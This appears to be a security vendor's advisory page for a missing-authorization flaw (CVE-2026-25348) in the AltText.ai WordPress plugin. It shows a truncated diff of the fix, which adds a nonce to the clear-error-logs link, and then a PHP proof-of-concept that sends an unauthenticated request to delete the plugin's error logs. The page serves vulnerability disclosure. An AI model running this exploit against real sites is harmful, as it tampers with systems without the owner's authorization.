                       class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
                       placeholder="example: Rewrite the following text in the style of Shakespeare: {{AltText}}"
-                    ><?php echo esc_html ( get_option( 'atai_gpt_prompt' ) ); ?></textarea>
+                    ><?php echo esc_html ( ATAI_Utility::get_setting( 'atai_gpt_prompt' ) ); ?></textarea>
                   </div>
                   <p class="mt-1 text-gray-500">
                     <?php esc_html_e( 'Your prompt MUST include the macro {{AltText}}, which will be substituted with the generated alt text, then sent to ChatGPT.', 'alttext-ai' ); ?>
@@ -523,7 +555,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_bulk_refresh_overwrite' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_bulk_refresh_overwrite' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -539,7 +571,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_bulk_refresh_external' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_bulk_refresh_external' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -592,7 +624,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_ecomm' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_ecomm' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -608,7 +640,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_ecomm_title' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_ecomm_title' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -643,7 +675,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_public' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_public' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -664,16 +696,16 @@
                       id="atai_admin_capability"
                       class="block w-full rounded-md border-0 py-1.5 text-gray-900 shadow-sm ring-1 ring-inset ring-gray-300 focus:ring-2 focus:ring-inset focus:ring-primary-600 sm:text-sm sm:leading-6"
                     >
-                      <option value="manage_options" <?php selected( 'manage_options', get_option( 'atai_admin_capability', 'manage_options' ) ); ?>>
+                      <option value="manage_options" <?php selected( 'manage_options', ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' ) ); ?>>
                         <?php esc_html_e( 'Administrators only (recommended)', 'alttext-ai' ); ?>
                       </option>
-                      <option value="edit_others_posts" <?php selected( 'edit_others_posts', get_option( 'atai_admin_capability', 'manage_options' ) ); ?>>
+                      <option value="edit_others_posts" <?php selected( 'edit_others_posts', ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' ) ); ?>>
                         <?php esc_html_e( 'Editors and Administrators', 'alttext-ai' ); ?>
                       </option>
-                      <option value="publish_posts" <?php selected( 'publish_posts', get_option( 'atai_admin_capability', 'manage_options' ) ); ?>>
+                      <option value="publish_posts" <?php selected( 'publish_posts', ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' ) ); ?>>
                         <?php esc_html_e( 'Authors, Editors and Administrators', 'alttext-ai' ); ?>
                       </option>
-                      <option value="read" <?php selected( 'read', get_option( 'atai_admin_capability', 'manage_options' ) ); ?>>
+                      <option value="read" <?php selected( 'read', ATAI_Utility::get_setting( 'atai_admin_capability', 'manage_options' ) ); ?>>
                         <?php esc_html_e( 'All logged-in users', 'alttext-ai' ); ?>
                       </option>
                     </select>
@@ -690,7 +722,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_no_credit_warning' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_no_credit_warning' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -705,7 +737,7 @@
                       type="checkbox"
                       value="yes"
                       class="w-4 h-4 rounded border-gray-300 checked:bg-white text-primary-600 focus:ring-primary-600"
-                      <?php checked( 'yes', get_option( 'atai_wp_generate_metadata' ) ); ?>
+                      <?php checked( 'yes', ATAI_Utility::get_setting( 'atai_wp_generate_metadata' ) ); ?>
                     >
                   </div>
                   <div class="-mt-1 text-sm leading-6">
@@ -757,7 +789,7 @@
                       id="atai_refresh_src_attr"
                       maxlength="128"
                       class="block py-1.5 w-full text-gray-900 rounded-md border-0 ring-1 ring-inset ring-gray-300 shadow-sm sm:text-sm sm:leading-6 focus:ring-2 focus:ring-inset placeholder:text-gray-400 focus:ring-primary-600"
-                      value="<?php echo esc_html ( get_option( 'atai_refresh_src_attr' ) ); ?>"
+                      value="<?php echo esc_html ( ATAI_Utility::get_setting( 'atai_refresh_src_attr' ) ); ?>"
                     >
                   </div>
                   <p class="mt-1 text-gray-500">
@@ -781,7 +813,7 @@
                     <?php echo wp_kses( ATAI_Utility::get_error_logs(), $wp_kses_args ); ?>
                   </div>
                   <a
-                    href="<?php echo esc_url( add_query_arg( 'atai_action', 'clear-error-logs' ) ); ?>"
+                    href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'atai_action', 'clear-error-logs' ), 'atai_clear_error_logs' ) ); ?>"
                     class="atai-button blue mt-4 cursor-pointer appearance-none no-underline shadow-sm"
                   >
                     <?php esc_html_e( 'Clear Logs', 'alttext-ai' ); ?>
@@ -795,6 +827,23 @@
       </div>
     </div>

-    <input type="submit" name="submit" value="Save Changes" class="atai-button blue mt-4 cursor-pointer appearance-none no-underline shadow-sm">
+    <?php if ( ! $settings_network_controlled ) : ?>
+      <input type="submit" name="submit" value="Save Changes" class="atai-button blue mt-4 cursor-pointer appearance-none no-underline shadow-sm">
+    <?php endif; ?>
   </form>
 </div>
+
+<?php if ( $settings_network_controlled ) : ?>
+<script type="text/javascript">
+  // Disable all form fields when network-controlled
+  document.addEventListener('DOMContentLoaded', function() {
+    const form = document.querySelector('.atai-network-controlled');
+    if (form) {
+      const inputs = form.querySelectorAll('input:not([type="hidden"]), select, textarea');
+      inputs.forEach(function(input) {
+        input.disabled = true;
+      });
+    }
+  });
+</script>
+<?php endif; ?>
--- a/alttext-ai/atai.php
+++ b/alttext-ai/atai.php
@@ -15,7 +15,7 @@
  * Plugin Name:       AltText.ai
  * Plugin URI:        https://alttext.ai/product
  * Description:       Automatically generate image alt text with AltText.ai.
- * Version:           1.10.15
+ * Version:           1.10.18
  * Author:            AltText.ai
  * Author URI:        https://alttext.ai
  * License:           GPL-2.0+
@@ -33,7 +33,7 @@
 /**
  * Current plugin version.
  */
-define( 'ATAI_VERSION', '1.10.15' );
+define( 'ATAI_VERSION', '1.10.18' );

 /**
  * Constant to save the value of the plugin path.
--- a/alttext-ai/includes/class-atai-api.php
+++ b/alttext-ai/includes/class-atai-api.php
@@ -112,7 +112,7 @@
    * @param string  $attachment_url  URL of the image to request alt text for.
    */
   public function create_image( $attachment_id, $attachment_url, $api_options, &$response_code ) {
-    if ( empty($attachment_id) || get_option( 'atai_public' ) === 'yes' ) {
+    if ( empty($attachment_id) || ATAI_Utility::get_setting( 'atai_public' ) === 'yes' ) {
       // If the site is public, get ALT by sending the image URL to the server
       $body = array(
         'webhook_url' => '',
@@ -126,20 +126,20 @@

       // Validate file exists and is readable before attempting to read
       if ( ! $file_path || ! file_exists( $file_path ) || ! is_readable( $file_path ) ) {
-        error_log( "ATAI: File not accessible for attachment {$attachment_id}" );
+        error_log( "ATAI: File not accessible for attachment {$attachment_id}" ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Production error logging
         return false;
       }

       // Use WordPress functions when possible, with error handling
       $file_contents = @file_get_contents( $file_path );
       if ( $file_contents === false ) {
-        error_log( "ATAI: Failed to read file for attachment {$attachment_id}" );
+        error_log( "ATAI: Failed to read file for attachment {$attachment_id}" ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Production error logging
         return false;
       }

       $encoded_content = @base64_encode( $file_contents );
       if ( $encoded_content === false ) {
-        error_log( "ATAI: Failed to encode file for attachment {$attachment_id}" );
+        error_log( "ATAI: Failed to encode file for attachment {$attachment_id}" ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Production error logging
         return false;
       }

@@ -154,7 +154,7 @@
     }

     $body = array_merge( $body, $api_options );
-    $timeout_secs = intval(get_option( 'atai_timeout', 20 ));
+    $timeout_secs = intval(ATAI_Utility::get_setting( 'atai_timeout', 20 ));
     $response = wp_remote_post(
       $this->base_url . '/images',
       array(
@@ -172,7 +172,7 @@

     if ( ! is_array( $response ) || is_wp_error( $response ) ) {
       if ( defined( 'ATAI_DEBUG' ) && ATAI_DEBUG ) {
-        error_log( print_r( $response, true ) );
+        error_log( print_r( $response, true ) ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Conditional debug logging
       }

       ATAI_Utility::log_error(
@@ -199,7 +199,7 @@

       if ( $error_message === 'account has insufficient credits' ) {
         if ( defined( 'ATAI_DEBUG' ) && ATAI_DEBUG ) {
-          error_log( print_r( $response, true ) );
+          error_log( print_r( $response, true ) ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Conditional debug logging
         }

         ATAI_Utility::log_error(
@@ -212,7 +212,7 @@
           )
         );

-        if ( get_option( 'atai_no_credit_warning' ) != 'yes' ) {
+        if ( ATAI_Utility::get_setting( 'atai_no_credit_warning' ) != 'yes' ) {
           set_transient( 'atai_insufficient_credits', TRUE, MONTH_IN_SECONDS );
         }

@@ -220,7 +220,7 @@
       }

       // Check if error indicates URL access issues (when site is marked as public but URLs aren't accessible)
-      if ( get_option( 'atai_public' ) === 'yes' &&
+      if ( ATAI_Utility::get_setting( 'atai_public' ) === 'yes' &&
            ( strpos( strtolower( $error_message ), 'unable to access' ) !== false ||
              strpos( strtolower( $error_message ), 'url not accessible' ) !== false ||
              strpos( strtolower( $error_message ), 'cannot fetch' ) !== false ||
@@ -240,7 +240,7 @@
         return 'url_access_error';
       }

-      error_log( print_r( $response, true ) );
+      error_log( print_r( $response, true ) ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Production error logging

       ATAI_Utility::log_error(
         sprintf(
@@ -253,9 +253,9 @@
       );

       return false;
-    } elseif ( substr( $response_code, 0, 1 ) == '4' && get_option( 'atai_public' ) === 'yes' ) {
+    } elseif ( substr( $response_code, 0, 1 ) == '4' && ATAI_Utility::get_setting( 'atai_public' ) === 'yes' ) {
       // 4xx errors when site is marked as public likely indicate URL access issues
-      error_log( print_r( $response, true ) );
+      error_log( print_r( $response, true ) ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Production error logging

       // Extract error message if available
       $error_message = '';
@@ -285,7 +285,7 @@

       return 'url_access_error';
     } elseif ( substr( $response_code, 0, 1 ) != '2' ) {
-      error_log( print_r( $response, true ) );
+      error_log( print_r( $response, true ) ); // phpcs:ignore QITStandard.PHP.DebugCode.DebugFunctionFound -- Production error logging

       ATAI_Utility::log_error(
         sprintf(
--- a/alttext-ai/includes/class-atai-attachment.php
+++ b/alttext-ai/includes/class-atai-attachment.php
@@ -34,6 +34,16 @@
  */
 class ATAI_Attachment {
   /**
+   * Track attachment IDs that have been processed for alt text generation
+   * in the current request. Prevents duplicate API calls from race conditions
+   * between add_attachment/process_polylang_translations and on_translation_created.
+   *
+   * @since 1.10.17
+   * @var array
+   */
+  private static $processed_attachments = array();
+
+  /**
    * Normalize and validate a language code.
    *
    * Supports 3-tier fallback:
@@ -125,12 +135,12 @@
     // Normalize booleans that might arrive as strings/ints via filters
     $api_options['overwrite'] = ! empty( $api_options['overwrite'] ) ? true : false;

-    $gpt_prompt = get_option('atai_gpt_prompt');
+    $gpt_prompt = ATAI_Utility::get_setting('atai_gpt_prompt');
     if ( !empty($gpt_prompt) ) {
       $api_options['gpt_prompt'] = $gpt_prompt;
     }

-    $model_name = get_option('atai_model_name');
+    $model_name = ATAI_Utility::get_setting('atai_model_name');
     if ( !empty($model_name) ) {
       $api_options['model_name'] = $model_name;
     }
@@ -149,7 +159,7 @@
         } else {
             $api_options['keywords'] = $this->get_seo_keywords( $attachment_id );
         }
-        if ( ! count( $api_options['keywords'] ) && ( get_option( 'atai_keywords_title' ) === 'yes' ) ) {
+        if ( ! count( $api_options['keywords'] ) && ( ATAI_Utility::get_setting( 'atai_keywords_title' ) === 'yes' ) ) {
           $api_options['keyword_source'] = $this->post_title_seo_keywords( $attachment_id );
         }
       }
@@ -186,8 +196,8 @@
     );

     // Enforce force_lang setting if enabled (overrides filter and caller language)
-    if ( 'yes' === get_option( 'atai_force_lang' ) ) {
-      $forced_lang = get_option( 'atai_lang' );
+    if ( 'yes' === ATAI_Utility::get_setting( 'atai_force_lang' ) ) {
+      $forced_lang = ATAI_Utility::get_setting( 'atai_lang' );
       if ( is_string( $forced_lang ) && '' !== trim( $forced_lang ) ) {
         $api_options['lang'] = $this->normalize_lang(
           $forced_lang,
@@ -249,8 +259,8 @@
     }

     $alt_text = $response['alt_text'];
-    $alt_prefix = get_option('atai_alt_prefix');
-    $alt_suffix = get_option('atai_alt_suffix');
+    $alt_prefix = ATAI_Utility::get_setting('atai_alt_prefix');
+    $alt_suffix = ATAI_Utility::get_setting('atai_alt_suffix');

     if ( ! empty( $alt_prefix ) ) {
       $alt_text = trim( $alt_prefix ) . ' ' . $alt_text;
@@ -264,15 +274,15 @@
     update_post_meta( $attachment_id, '_wp_attachment_image_alt', $alt_text );

     $post_value_updates = array();
-    if ( get_option( 'atai_update_title' ) === 'yes' ) {
+    if ( ATAI_Utility::get_setting( 'atai_update_title' ) === 'yes' ) {
       $post_value_updates['post_title'] = $alt_text;
     };

-    if ( get_option( 'atai_update_caption' ) === 'yes' ) {
+    if ( ATAI_Utility::get_setting( 'atai_update_caption' ) === 'yes' ) {
       $post_value_updates['post_excerpt'] = $alt_text;
     };

-    if ( get_option( 'atai_update_description' ) === 'yes' ) {
+    if ( ATAI_Utility::get_setting( 'atai_update_description' ) === 'yes' ) {
       $post_value_updates['post_content'] = $alt_text;
     };

@@ -297,7 +307,7 @@
    * @return boolean  True if should be excluded, false otherwise.
    */
   private function is_attachment_excluded_by_post_type( $attachment_id ) {
-    $excluded_post_types = get_option( 'atai_excluded_post_types' );
+    $excluded_post_types = ATAI_Utility::get_setting( 'atai_excluded_post_types' );

     if ( empty( $excluded_post_types ) ) {
       return false;
@@ -325,7 +335,7 @@
    *
    * @return boolean  True if eligible, false otherwise.
    */
-  public function is_attachment_eligible( $attachment_id, $context = 'generate' ) {
+  public function is_attachment_eligible( $attachment_id, $context = 'generate', $dry_run = false ) {
     // Bypass eligibility checks in test mode
     if ( defined( 'ATAI_TESTING' ) && ATAI_TESTING ) {
       return true;
@@ -364,7 +374,7 @@

     $file = ( is_array($meta) && array_key_exists('file', $meta) ) ? ($upload_info['basedir'] . '/' . $meta['file']) : get_attached_file( $attachment_id );
     if ( empty( $meta ) && file_exists( $file ) ) {
-      if ( ( get_option( 'atai_wp_generate_metadata' ) === 'no' ) ) {
+      if ( $dry_run || ( ATAI_Utility::get_setting( 'atai_wp_generate_metadata' ) === 'no' ) ) {
         $meta = array('width' => 100, 'height' => 100); // Default values assuming this is a valid image
       }
       else {
@@ -392,8 +402,7 @@
     if (!$size) {
       $offload_meta = get_post_meta($attachment_id, 'amazonS3_info', true) ?: get_post_meta($attachment_id, 'cloudinary_info', true);
       if (isset($offload_meta['key'])) {
-        $external_url = wp_get_attachment_url($attachment_id);
-        $size = ATAI_Utility::get_attachment_size($external_url);
+        $size = ATAI_Utility::get_attachment_size($attachment_id);
       }
     }

@@ -413,7 +422,7 @@
     $is_svg = ($extension_lower === 'svg');
     $size_unavailable = ($size === null || $size === false);

-    $file_type_extensions = get_option( 'atai_type_extensions' );
+    $file_type_extensions = ATAI_Utility::get_setting( 'atai_type_extensions' );
     $attachment_edit_url = get_edit_post_link($attachment_id);

     // Logging reasons for ineligibility
@@ -452,7 +461,7 @@

     // SVGs often have metadata issues that prevent size detection, skip this check for them
     if (!$is_svg && $size_unavailable) {
-      if ($should_log && get_option('atai_skip_filenotfound') === 'yes') {
+      if ($should_log && ATAI_Utility::get_setting('atai_skip_filenotfound') === 'yes') {
         ATAI_Utility::log_error(
           sprintf(
             '<a href="%s" target="_blank">Image #%d</a>: %s %s',
@@ -512,11 +521,11 @@
    * @return Array ["ecomm" => ["product" => <title>]] or empty array if not found.
    */
   public function get_ecomm_data( $attachment_id, $product_id = null ) {
-    if ( ( get_option( 'atai_ecomm' ) === 'no' ) || ! ATAI_Utility::has_woocommerce() ) {
+    if ( ( ATAI_Utility::get_setting( 'atai_ecomm' ) === 'no' ) || ! ATAI_Utility::has_woocommerce() ) {
       return array();
     }

-    if ( get_option( 'atai_ecomm_title' ) === 'yes' ) {
+    if ( ATAI_Utility::get_setting( 'atai_ecomm_title' ) === 'yes' ) {
       $post = get_post( $attachment_id );
       if ( !empty( $post->post_title ) ) {
         return array( 'product' => $post->post_title );
@@ -600,7 +609,7 @@
      * @return Array of keywords, or empty array if none.
      */
     public function get_seo_keywords( $attachment_id, $explicit_post_id = null ) {
-      if ( ( get_option( 'atai_keywords' ) === 'no' ) ) {
+      if ( ( ATAI_Utility::get_setting( 'atai_keywords' ) === 'no' ) ) {
         return array();
       }

@@ -1063,7 +1072,7 @@
    *                     to avoid race conditions with WPML metadata initialization.
    */
   public function add_attachment( $attachment_id ) {
-    if ( get_option( 'atai_enabled' ) === 'no' ) {
+    if ( ATAI_Utility::get_setting( 'atai_enabled' ) === 'no' ) {
       return;
     }

@@ -1077,6 +1086,9 @@

     // Process WPML translations if applicable
     $this->process_wpml_translations( $attachment_id );
+
+    // Process Polylang translations if applicable
+    $this->process_polylang_translations( $attachment_id );
   }

   /**
@@ -1131,6 +1143,92 @@
   }

   /**
+   * Process Polylang translations for an attachment.
+   * Returns success/skipped counts and processed IDs for double-processing prevention.
+   *
+   * @since 1.10.16
+   * @access private
+   *
+   * @param int   $attachment_id Source attachment ID.
+   * @param array $options       Base API options to merge (keywords, negative_keywords, etc.).
+   *
+   * @return array Results with 'success', 'skipped', 'processed_ids' keys.
+   */
+  private function process_polylang_translations( $attachment_id, $options = array() ) {
+    $results = array(
+      'success'       => 0,
+      'skipped'       => 0,
+      'processed_ids' => array(),
+    );
+
+    if ( ! ATAI_Utility::has_polylang() ) {
+      return $results;
+    }
+
+    // Get list of active language slugs
+    if ( ! function_exists( 'pll_languages_list' ) || ! function_exists( 'pll_get_post' ) ) {
+      return $results;
+    }
+
+    $active_languages = pll_languages_list();
+    if ( empty( $active_languages ) || ! is_array( $active_languages ) ) {
+      return $results;
+    }
+
+    // Get source attachment's language to skip it
+    $source_lang = function_exists( 'pll_get_post_language' )
+      ? pll_get_post_language( $attachment_id )
+      : null;
+
+    foreach ( $active_languages as $lang ) {
+      // Skip source language
+      if ( $lang === $source_lang ) {
+        continue;
+      }
+
+      // Get translated attachment ID
+      $translated_id = pll_get_post( $attachment_id, $lang );
+
+      // Skip non-existent translations
+      if ( ! $translated_id || (int) $translated_id === (int) $attachment_id ) {
+        continue;
+      }
+
+      // Skip invalid or trashed
+      if ( get_post_type( $translated_id ) !== 'attachment' || get_post_status( $translated_id ) === 'trash' ) {
+        $results['skipped']++;
+        $results['processed_ids'][ $translated_id ] = 'skipped';
+        continue;
+      }
+
+      // Skip if already processed in this request (prevents double API calls)
+      if ( isset( self::$processed_attachments[ $translated_id ] ) ) {
+        $results['skipped']++;
+        $results['processed_ids'][ $translated_id ] = 'already_processed';
+        continue;
+      }
+
+      // Mark as processed before API call to prevent race conditions
+      self::$processed_attachments[ $translated_id ] = true;
+
+      // Normalize language code (Polylang may use uppercase or variants)
+      $normalized_lang = strtolower( (string) $lang );
+
+      $response = $this->generate_alt( $translated_id, null, array_merge( $options, array( 'lang' => $normalized_lang ) ) );
+
+      if ( $this->is_generation_error( $response ) ) {
+        $results['skipped']++;
+        $results['processed_ids'][ $translated_id ] = 'error';
+      } else {
+        $results['success']++;
+        $results['processed_ids'][ $translated_id ] = 'success';
+      }
+    }
+
+    return $results;
+  }
+
+  /**
    * Check if a generate_alt response is an error.
    *
    * @since 1.11.0
@@ -1196,6 +1294,7 @@
     $images_successful = $images_skipped = $loop_count = 0;
     $processed_ids = array(); // Track processed IDs for bulk-select cleanup
     $wpml_processed_ids = array(); // Track WPML translation IDs to prevent double-processing
+    $polylang_processed_ids = array(); // Track Polylang translation IDs to prevent double-processing


     // Get accumulated skip reasons from previous batches
@@ -1250,7 +1349,7 @@
       }

       // Exclude images attached to specific post types
-      $excluded_post_types = get_option( 'atai_excluded_post_types' );
+      $excluded_post_types = ATAI_Utility::get_setting( 'atai_excluded_post_types' );
       if ( ! empty( $excluded_post_types ) ) {
         $post_types = array_map( 'trim', explode( ',', $excluded_post_types ) );
         $post_types_placeholders = implode( ',', array_fill( 0, count( $post_types ), '%s' ) );
@@ -1356,6 +1455,22 @@
         continue;
       }

+      // Skip if already processed as Polylang translation (prevents double-processing)
+      if ( in_array( $attachment_id, $polylang_processed_ids, true ) ) {
+        // Don't increment images_skipped to avoid double-counting in stats
+        $skip_reasons['polylang_already_processed'] = ($skip_reasons['polylang_already_processed'] ?? 0) + 1;
+        $last_post_id = $attachment_id;
+
+        if ( $mode === 'bulk-select' ) {
+          $processed_ids[] = $attachment_id;
+        }
+
+        if ( ++$loop_count >= $query_limit ) {
+          break;
+        }
+        continue;
+      }
+
       // Skip if attachment is not eligible
       if ( ! $this->is_attachment_eligible( $attachment_id, 'bulk' ) ) {
         $images_skipped++;
@@ -1438,6 +1553,17 @@
         if ( ! empty( $wpml_results['processed_ids'] ) ) {
           $wpml_processed_ids = array_merge( $wpml_processed_ids, array_keys( $wpml_results['processed_ids'] ) );
         }
+
+        // Process Polylang translations for successfully generated primary images
+        $poly

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25348 - Download Alt Text AI <= 1.10.15 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25348
 * Unauthenticated Clear Error Logs Vulnerability in Download Alt Text AI Plugin
 *
 * Usage: php poc.php http://target-wordpress-site.com
 */

// Configuration
$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost/wordpress';

// Target endpoint - admin page that triggers the vulnerable function
$admin_url = $target_url . '/wp-admin/admin.php';

// Parameters to trigger the clear_error_logs function
$params = [
    'page' => 'atai',
    'atai_action' => 'clear_error_logs'
];

// Build query string
$query_string = http_build_query($params);
$attack_url = $admin_url . '?' . $query_string;

// Display attack details
echo "Atomic Edge CVE-2026-25348 PoCn";
echo "Target: $target_urln";
echo "Attack URL: $attack_urlnn";

// Initialize cURL session
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
echo "Sending unauthenticated request to clear error logs...n";
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check response
if ($http_code === 200) {
    echo "SUCCESS: Request completed (HTTP $http_code)n";
    echo "The plugin's error logs have been deleted.n";
    echo "Note: The page may redirect to login if user is not authenticated, but the action still executes.n";
} else {
    echo "FAILED: HTTP $http_code responsen";
    echo "Response preview: " . substr($response, 0, 500) . "n";
}

// Clean up
curl_close($ch);

echo "nPoC complete.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School